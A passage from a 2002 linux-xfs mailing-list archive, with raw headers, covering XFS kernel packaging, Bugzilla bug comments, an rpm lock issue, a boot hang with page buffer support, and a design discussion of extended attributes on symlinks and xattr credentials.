-0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 6977940013F; Sun, 10 Nov 2002 16:33:19 -0500 (EST) To: linux-xfs@oss.sgi.com Subject: kernel-headers-2.4.18-17 rpm? Message-Id: <20021110213319.6977940013F@burgers.bubbanfriends.org> Date: Sun, 10 Nov 2002 16:33:19 -0500 (EST) From: mburger@bubbanfriends.org (Mike Burger) X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 1607 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Just wondering, as I'm not seeing an RPM for them. Is there an SGI kernel-headers rpm for 2.4.18-17SGI_XFS_1.2pre3? Or is the Red Hat kernel-headers rpm sufficient? I ask, because I know my system has a kernel-headers-2.4.9-34SGI_XFS_1.1 rpm installed, currently. Thanks. From owner-linux-xfs@oss.sgi.com Sun Nov 10 13:43:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 13:43:54 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAALhquR010905 for ; Sun, 10 Nov 2002 13:43:52 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAALhq9u010904 for linux-xfs@oss.sgi.com; Sun, 10 Nov 2002 13:43:52 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAALhpuT010890 for ; Sun, 10 Nov 2002 13:43:51 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAALTQ91010365; Sun, 10 Nov 2002 13:29:26 -0800 Date: Sun, 10 Nov 2002 13:29:26 -0800 Message-Id: <200211102129.gAALTQ91010365@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 192] corruption 33869960 dinode X-Bugzilla-Reason: AssignedTo X-archive-position: 1608 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=192 ------- Additional Comments From cw@f00f.org 2002-11-10 13:20 ------- Subject: Re: New: corruption 33869960 dinode On Sun, Nov 10, 2002 at 09:15:24AM -0800, bugzilla-daemon@oss.sgi.com wrote: > What kernel are you using:kernel-2.4.18-17SGIpre3 Have you tried CVS HEAD of late? That fixed some funnies for me (I think recent hch commits are what made the difference). > Steps to Reproduce: > 1. have var/locks with contain on a xfs root partion > 2. reboot > 3. watch ther erro appear *Everything* for me is XFS and I can't reproduce this. Are there any more details? --cw ------- Additional Comments From knutjbj@online.no 2002-11-10 13:29 ------- Created an attachment (id=46) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=46&action=view) This is a log off a xfs_repair of my xfs root This is a log off a xfs_repair of my xfs root ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 10 14:20:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 14:20:26 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAAMKLuR011535 for ; Sun, 10 Nov 2002 14:20:22 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA32119; Sun, 10 Nov 2002 16:21:43 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA07482; Sun, 10 Nov 2002 16:21:42 -0600 (CST) Date: Sun, 10 Nov 2002 16:20:56 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Mike Burger cc: linux-xfs@oss.sgi.com Subject: Re: kernel-headers-2.4.18-17 rpm? In-Reply-To: <20021110213319.6977940013F@burgers.bubbanfriends.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1609 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Mike - kernel-headers is now "glibc-kernheaders" and as the name implies, it matches your glibc version, not your kernel version. So you want the one from Red Hat, and we won't be shipping one. -Eric On Sun, 10 Nov 2002, Mike Burger wrote: > Just wondering, as I'm not seeing an RPM for them. > > Is there an SGI kernel-headers rpm for 2.4.18-17SGI_XFS_1.2pre3? > > Or is the Red Hat kernel-headers rpm sufficient? > > I ask, because I know my system has a kernel-headers-2.4.9-34SGI_XFS_1.1 > rpm installed, currently. > > Thanks. > > From owner-linux-xfs@oss.sgi.com Sun Nov 10 21:28:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 21:28:53 -0800 (PST) Received: from rail.cita.utoronto.ca (rail.cita.utoronto.ca [128.100.76.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAB5SnuR018042 for ; Sun, 10 Nov 2002 21:28:49 -0800 Received: from [128.100.76.25] (marmot.cita.utoronto.ca) by rail.cita.utoronto.ca id 4434; Mon, 11 Nov 2002 00:30:17 Date: Mon, 11 Nov 2002 00:30:17 -0500 From: Robin Humble To: linux-xfs@oss.sgi.com Subject: Re: How risky is 2.5.x? Message-ID: <20021111003017.C23548@marmot.cita.utoronto.ca> References: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> <20021110193742.70a3be2b.lloy0076@adam.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20021110193742.70a3be2b.lloy0076@adam.com.au>; from lloy0076@adam.com.au on Sun, Nov 10, 2002 at 07:37:42PM +1030 X-archive-position: 1610 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rjh@cita.utoronto.ca Precedence: bulk X-list: linux-xfs On Sun, Nov 10, 2002 at 07:37:42PM +1030, David Lloyd wrote: >It's a development kernel. I lurk on the linux kernel list and there are >"issues" happening with it all the time and it changes all the time. It's >a "use only if you are really testing" type thing. There are 'issues' with all kernels. If there wasn't, then 2.4 development would have stopped at 2.4.0 :-) I've been running 2.5 XFS since 2.5.43 and have seen no corruption or crashing. I sometimes get an oops when it's trying to power-off the machine, but that's well after all filesystems have been unmounted. It's also possible a non-standard module (mga_vid.o) is to blame. One bug that I have seen with both 2.4.19-xfs and 2.5.*-xfs is that the rpm database sometimes gets 'locked' so that no rpm queries can be done as root. Other users can do an 'rpm -qa' with no problems... not sure if this is a generic rpm problem an xfs (file locking?) issue. It happens during rpm -Uvh when the install doesn't complete but instead hangs forever and needs to be kill -9'd. After that strace shows that root can't open /var/lib/rpm/Packages and it loops forever in select() waiting to access it. Its happened for me with RH7.3, RH8 and with 2.4.19-xfs cvs kernels and current 2.5 cvs kernels. Has anyone else seen behaviour like this? cheers, robin From owner-linux-xfs@oss.sgi.com Mon Nov 11 00:08:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 00:08:24 -0800 (PST) Received: from rail.cita.utoronto.ca (rail.cita.utoronto.ca [128.100.76.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAB88JuR020862 for ; Mon, 11 Nov 2002 00:08:20 -0800 Received: from [128.100.76.25] (marmot.cita.utoronto.ca) by rail.cita.utoronto.ca id 7200; Mon, 11 Nov 2002 03:09:48 Date: Mon, 11 Nov 2002 03:09:47 -0500 From: Robin Humble To: linux-xfs@oss.sgi.com Subject: bug in rpm (was Re: How risky is 2.5.x?) Message-ID: <20021111030947.A24370@marmot.cita.utoronto.ca> References: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> <20021110193742.70a3be2b.lloy0076@adam.com.au> <20021111003017.C23548@marmot.cita.utoronto.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20021111003017.C23548@marmot.cita.utoronto.ca>; from rjh on Mon, Nov 11, 2002 at 12:30:17AM -0500 X-archive-position: 1611 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rjh@cita.utoronto.ca Precedence: bulk X-list: linux-xfs On Mon, Nov 11, 2002 at 12:30:17AM -0500, Robin Humble wrote: >It happens during rpm -Uvh when the install doesn't complete but >instead hangs forever and needs to be kill -9'd. After that strace >shows that root can't open /var/lib/rpm/Packages and it loops forever >in select() waiting to access it. Ok, thanks to those who emailed me - this is an rpm bug and nothing to do with xfs: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=75826 cheers, robin From owner-linux-xfs@oss.sgi.com Mon Nov 11 00:34:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 00:34:24 -0800 (PST) Received: from riva.fashaf.co.za (na.sdn.net.za [66.8.40.138] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAB8YHuR021477 for ; Mon, 11 Nov 2002 00:34:19 -0800 Received: from mailserv.midrand.fashaf.co.za (mailserv.midrand.fashaf.co.za [172.30.2.253]) by riva.fashaf.co.za (Postfix) with ESMTP id 7C3B99CD2 for ; Mon, 11 Nov 2002 10:44:22 +0200 (SAST) Received: from localhost (localhost.localdomain [127.0.0.1]) by mailserv.midrand.fashaf.co.za (Postfix) with ESMTP id D8DDD4B179 for ; Mon, 11 Nov 2002 10:46:13 +0200 (SAST) Received: from mkgw.midrand.fashaf.co.za (midrand91.midrand.fashaf.co.za [172.30.2.91]) by mailserv.midrand.fashaf.co.za (Postfix) with SMTP id C0E284B419 for ; Mon, 11 Nov 2002 10:46:12 +0200 (SAST) Received: by mkgw.midrand.fashaf.co.za (sSMTP sendmail emulation); Mon, 11 Nov 2002 10:33:43 +0200 From: mk@fashaf.co.za Date: Mon, 11 Nov 2002 10:33:43 +0200 To: linux-xfs@oss.sgi.com Subject: XFS kernel wont boot when compiled with page buffer support Message-ID: <20021111083343.GA10109@fashaf.co.za> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH" Content-Disposition: inline X-Operating-System: Linux 2.4.18-3 X-Editor: VIM - Vi IMproved 6.1 (http://www.vim.org/) X-Crypto: gpg (GnuPG) 1.0.7 (http://www.gnupg.org/) X-GPG-Key-ID: AA91CF25 X-GPG-Key-Fingerprint: 8D0B F1A3 5296 6CBC 7509 05B0 F3B8 CEF2 AA91 CF25 X-What-Happen: somebody set up us the bomb. User-Agent: Mutt/1.5.1i X-Virus-Scanned: by AMaViS 0.3.12pre7 X-archive-position: 1612 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mk@fashaf.co.za Precedence: bulk X-list: linux-xfs --7JfCtLOvnd9MIVvH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi When i compile my linux 2.4.18 kernel with Page buffer support it wont boot, its gets to uncompressing linux kernel, booting linux and just stays there. If i compile my kernel without it, it boots fine, is this still ok? If not how do i figure out what went wrong. Merritt --7JfCtLOvnd9MIVvH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9z2tn87jO8qqRzyURAk6dAKC9hsZ2+oHB+4Rd0dZLd4VH7eDCAwCfSCbJ c14p3qEPRm9vm29WuUF4l0M= =Ze/U -----END PGP SIGNATURE----- --7JfCtLOvnd9MIVvH-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 00:48:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 00:48:57 -0800 (PST) Received: from riva.fashaf.co.za (na.sdn.net.za [66.8.40.138] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAB8mbuR021977 for ; Mon, 11 Nov 2002 00:48:47 -0800 Received: from mailserv.midrand.fashaf.co.za (mailserv.midrand.fashaf.co.za [172.30.2.253]) by riva.fashaf.co.za (Postfix) with ESMTP id 3A0EA9CD5 for ; Mon, 11 Nov 2002 10:58:36 +0200 (SAST) Received: from localhost (localhost.localdomain [127.0.0.1]) by mailserv.midrand.fashaf.co.za (Postfix) with ESMTP id A12314B17B for ; Mon, 11 Nov 2002 11:00:27 +0200 (SAST) Received: from mkgw.midrand.fashaf.co.za (midrand91.midrand.fashaf.co.za [172.30.2.91]) by mailserv.midrand.fashaf.co.za (Postfix) with SMTP id 86D824B179 for ; Mon, 11 Nov 2002 11:00:26 +0200 (SAST) Received: by mkgw.midrand.fashaf.co.za (sSMTP sendmail emulation); Mon, 11 Nov 2002 10:47:56 +0200 From: mk@fashaf.co.za Date: Mon, 11 Nov 2002 10:47:56 +0200 To: linux-xfs@oss.sgi.com Subject: XFS kernel wont boot when configured with Page buffer Support Message-ID: <20021111084756.GA10614@fashaf.co.za> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="WIyZ46R2i8wDzkSu" Content-Disposition: inline X-Operating-System: Linux 2.4.18-3 X-Editor: VIM - Vi IMproved 6.1 (http://www.vim.org/) X-Crypto: gpg (GnuPG) 1.0.7 (http://www.gnupg.org/) X-GPG-Key-ID: AA91CF25 X-GPG-Key-Fingerprint: 8D0B F1A3 5296 6CBC 7509 05B0 F3B8 CEF2 AA91 CF25 X-What-Happen: somebody set up us the bomb. User-Agent: Mutt/1.5.1i X-Virus-Scanned: by AMaViS 0.3.12pre7 X-archive-position: 1613 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mk@fashaf.co.za Precedence: bulk X-list: linux-xfs --WIyZ46R2i8wDzkSu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi When i configure my 2.4.18 kernel with Page buffer support (CONFIG_PAGE_BUF= F=3Dy) it hangs the machine. It gets as far as uncompressing kernel, loading linux= ...=20 then seems to die. If i configure the kernel without Page Buffer Support the kernel boots OK.=20 a kick in the right direction would be much appreciated. its a redhat 6.2 system with kernel 2.4.18 Thanks Merritt --WIyZ46R2i8wDzkSu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9z26887jO8qqRzyURAsKHAKDVGhudmQWUWxo+lRRltHVktBo3oACfd/ny tSCP13uVaCP0XdcKiUTWR+k= =blis -----END PGP SIGNATURE----- --WIyZ46R2i8wDzkSu-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 02:13:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 02:13:56 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gABADruR027401 for ; Mon, 11 Nov 2002 02:13:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gABADrwF027400 for linux-xfs@oss.sgi.com; Mon, 11 Nov 2002 02:13:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gABADpuX027380 for ; Mon, 11 Nov 2002 02:13:51 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gABAAHmY025653; Mon, 11 Nov 2002 02:10:17 -0800 Date: Mon, 11 Nov 2002 02:10:17 -0800 Message-Id: <200211111010.gABAAHmY025653@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 186] xfs_force_shutdown in xfs_trans_cancel X-Bugzilla-Reason: AssignedTo X-archive-position: 1614 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 ------- Additional Comments From c.pascoe@itee.uq.edu.au 2002-11-11 02:10 ------- A note - we've been running with the change that was committed to CVS for three days now on one of our high-use servers; all seems to be happy in this regard. Without it this machine would fail within 5-6 minutes - presumably this means the bug is fixed now. Regards, Chris ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 11 03:56:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 03:56:22 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-64.163.221.203.acc05-john-stp.comindico.com.au [203.221.163.64]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABBuGuR031389 for ; Mon, 11 Nov 2002 03:56:18 -0800 Received: by monkeyiq.dnsalias.org id gABBtNT17542 ; Mon, 11 Nov 2002 21:55:23 +1000 Date: Mon, 11 Nov 2002 21:55:23 +1000 Message-Id: <200211111155.gABBtNT17542@monkeyiq.dnsalias.org> Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: Andreas Gruenbacher Cc: acl-devel@bestbits.at, linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1615 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs On Mon, 2002-11-11 at 01:26, Andreas Gruenbacher wrote: > On Sunday 10 November 2002 14:09, Ben Martin wrote: > > On Sat, 2002-11-09 at 22:11, Ethan Benson wrote: > > > On Sat, Nov 09, 2002 at 09:52:14PM +1000, Ben Martin wrote: > > > > $ ll -d video > > > > lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> > > > > /diskzilla/video/ > > > > $ setfattr --name=user.fred -h --value=foo ./video > > > > setfattr: ./video: Operation not permitted > > > > > > > > Is there a security issue here for setting EA on softlinks that one > > > > owns? I use EA to store icon name, x, y etc info in the object itself, > > > > and anything else I add to get around this will be a poor very app > > > > specific hack. I'm just hopefull that maybe security was maybe > > > > tightened too far or I have made a slip up? > > > > > > i don't believe there is a security problem with allowing EA for the > > > owner only on symlinks, i think the reason its not allowed is because > > > that would require special casing the security rules for user.* > > > namespace. the user.* namespace is controlled by standard unix file > > > permissions (which are supposed to be irrelevant on symlinks). it > > > would be messy to add special casing for where its permissions for > > > normal files and file owner for symlinks. > > > > hmm, I agree it would add yet another complication, but without such a > > case I think that many userland tools will build functions to do a > > similar thing in a app dependent way (eg, setting normal EA on a .xxx > > file for a symlink xxx). I'd love make 100% sure that the > > if( symlink && owner == current-id ) > > case is hated before I think of other ways around it (which might well > > be making the personal patch available to allow the above case). > > The access rules for the user.* namespace are already complicated enough; I > don't want to further complicate them. We have been anticipating additional > namespaces with different access semantics, but nothing has been implemented > yet: > > owner.* > Allow access to the owner and to users capable of CAP_FOWNER. OK, so if I defaulted to user.ferris-icon-x and then tried owner.ferris-icon-x I would have a somewhat valid solution. Also this would allow the user to copy the symlink and preserve the metadata fairly easily. > > trusted.* > Allow access to users capable of CAP_SYS_ADMIN. > > > > rather then complicate the code in the kernel its just forbidden to > > > set EAs on symlinks at all (unless your root probably). > > Yes, user.* EAs are not allowed, but other kinds may be added that can be set > on symlinks. I presume that patches are accepted :) If I am using XFS to store my EA then from the above I am going to attack some kernel VFS code to get the owner.* semantics, who do I send patches to? > > > > the designers of the xattr interface want to keep the rules for > > > various namespaces very clear and consistent, adding special cases > > > like this violates that order. > > > > I am wondering if it will make the system too simple for folks other > > than myself, who are storing per object metadata in EA and their systems > > break or display poorly for directories that the user has created > > symlinks in. Sort of trying to see if there is a community who think > > that the special case is worth existing or not. > > The symlinks are usually thought of being references to objects only, not > first-class objects on their own. > > Which information do you want to attach to the symlink that you can't attach > to the object pointed to in the first place? Basically its for multi desktop management. eg. I have ~/.ego/desktopN/ which has a bunch of symlinks for desktop N and a few special fake files for running raw scheme code. I may wish to represent /tmp in two views, one with a small icon on the right hand side of the screen just for convenience and on another desktop I might want /tmp with a 64x64 icon and be more prominent on the screen at top left. So as my code stands right now I store user.ferris-icon-name user.ferris-icon-x user.ferris-icon-y as EA on the object itself, be it a file/dir/symlink. This way the symlinks can have different icons and locations. > > --Andreas. > > -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Mon Nov 11 04:06:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 04:06:58 -0800 (PST) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABC6ruR032303 for ; Mon, 11 Nov 2002 04:06:53 -0800 Received: from erbenson.alaska.net (33-pm1.nwc.alaska.net [209.112.138.33]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id gABC8LvW018605 for ; Mon, 11 Nov 2002 03:08:21 -0900 (AKST) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id BAF013A0D for ; Mon, 11 Nov 2002 03:08:20 -0900 (AKST) Received: by plato.local.lan (Postfix, from userid 1000) id 3342F4104E2; Mon, 11 Nov 2002 03:08:20 -0900 (AKST) Date: Mon, 11 Nov 2002 03:08:20 -0900 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs Message-ID: <20021111120820.GD16831@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200211111155.gABBtNT17542@monkeyiq.dnsalias.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uxuisgdDHaNETlh8" Content-Disposition: inline In-Reply-To: <200211111155.gABBtNT17542@monkeyiq.dnsalias.org> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-archive-position: 1616 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs --uxuisgdDHaNETlh8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 11, 2002 at 09:55:23PM +1000, Ben Martin wrote: >=20 > Basically its for multi desktop management.=20 > eg. I have ~/.ego/desktopN/ which has a bunch of symlinks for desktop N > and a few special fake files for running raw scheme code. I may wish to > represent /tmp in two views, one with a small icon on the right hand > side of the screen just for convenience and on another desktop I might > want /tmp with a 64x64 icon and be more prominent on the screen at top > left. So as my code stands right now I store > user.ferris-icon-name > user.ferris-icon-x > user.ferris-icon-y > as EA on the object itself, be it a file/dir/symlink. This way the > symlinks can have different icons and locations. this is somewhat off-topic, but are you really sure EAs are the best place for this kind of info? please consider that UNIX is a multi user OS, in shared directories this method of storage will fall down as the various users accessing the data will either clobber each other's preferences for icon placement, or be annoyed by other users choices (it all depends on the permissions of the files/dirs).=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --uxuisgdDHaNETlh8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj3PnbQACgkQJKx7GixEevyuowCcCCxkT4IUplmah8IOmy+4LXl2 fvMAn1dtYW3jZr8vliXxBbkbUp6cJjdT =/gxw -----END PGP SIGNATURE----- --uxuisgdDHaNETlh8-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 04:33:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 04:33:15 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABCXAuR000428 for ; Mon, 11 Nov 2002 04:33:11 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id E511A1459F; Mon, 11 Nov 2002 13:34:34 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: "Theodore Ts'o" Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Date: Mon, 11 Nov 2002 13:34:31 +0100 User-Agent: KMail/1.4.3 Cc: Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com References: <200211100135.26236.agruen@suse.de> <20021110013233.GH9589@think.thunk.org> In-Reply-To: <20021110013233.GH9589@think.thunk.org> MIME-Version: 1.0 Message-Id: <200211111334.32074.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gABCXBuR000429 X-archive-position: 1617 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Sunday 10 November 2002 02:32, Theodore Ts'o wrote: > On Sun, Nov 10, 2002 at 01:35:26AM +0100, Andreas Gruenbacher wrote: > > If so, an unprivileged process that accesses a file has no direct > > access to the HSM meta data. The in-kernel code that implements HSM > > needs access to the HSM meta data to decide whether the file in > > question is online or offline, etc. Currently file systems can't > > tell if an extended attribute operation originated from the current > > user space process, or from in-kernel code in support of the current > > user space process. Would passing credentials down the xattr > > operations make sense? > > Well, we don't need to pass a full set of credentials down; the only > thing the xattr functions needs to know is whether should be > considered "privileged" (i.e., for the benefit of in-kernel code or > not). So all we need to do is to pass a single bit down to the xattr > functions. > > For i_op->setxattr, we already have a flags argument, so adding a new > flag would be pretty trivial. Unfortunately, we would need to add a > new argument to i_op->getxattr, i_op->listxattr, and > i_op->removexattr.... and it's after feature freeze. I think adding a (struct task_struct *) parameter to the xattr inode operations is a better idea --- I don't know how likely it is that credentials will be passed around in a future kernel, but if it's likely then the xattr inode operations would move in the right direction, instead of introducing weird flag(s). int (*setxattr) (struct dentry *, const char *, void *, size_t, int, struct task_struct *); ssize_t (*getxattr) (struct dentry *, const char *, void *, size_t, struct task_struct *); ssize_t (*listxattr) (struct dentry *, char *, size_t, struct task_struct *); int (*removexattr) (struct dentry *, const char *, struct task_struct *); > So while this is a relatively trivial change, I'd just as soon wait > until after Linus accepts some patch which completely replaces the > algorithms used by the core VM or Block I/O layers before I'd try to > advocate making a change to the VFS at this point. Let someone else > destroy the feature freeze first. :-/ :-) --Andreas. From owner-linux-xfs@oss.sgi.com Mon Nov 11 04:40:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 04:40:28 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABCeFuR000906 for ; Mon, 11 Nov 2002 04:40:15 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 5EFB814833; Mon, 11 Nov 2002 13:14:55 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: Ben Martin Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs Date: Mon, 11 Nov 2002 13:14:53 +0100 User-Agent: KMail/1.4.3 Cc: acl-devel@bestbits.at, linux-xfs@oss.sgi.com References: <200211111155.gABBtNT17542@monkeyiq.dnsalias.org> In-Reply-To: <200211111155.gABBtNT17542@monkeyiq.dnsalias.org> MIME-Version: 1.0 Message-Id: <200211111314.53854.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gABCeQuR000907 X-archive-position: 1618 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Monday 11 November 2002 12:55, Ben Martin wrote: > On Mon, 2002-11-11 at 01:26, Andreas Gruenbacher wrote: > > On Sunday 10 November 2002 14:09, Ben Martin wrote: > > > On Sat, 2002-11-09 at 22:11, Ethan Benson wrote: > > > > On Sat, Nov 09, 2002 at 09:52:14PM +1000, Ben Martin wrote: > > > > > $ ll -d video > > > > > lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> > > > > > /diskzilla/video/ > > > > > $ setfattr --name=user.fred -h --value=foo ./video > > > > > setfattr: 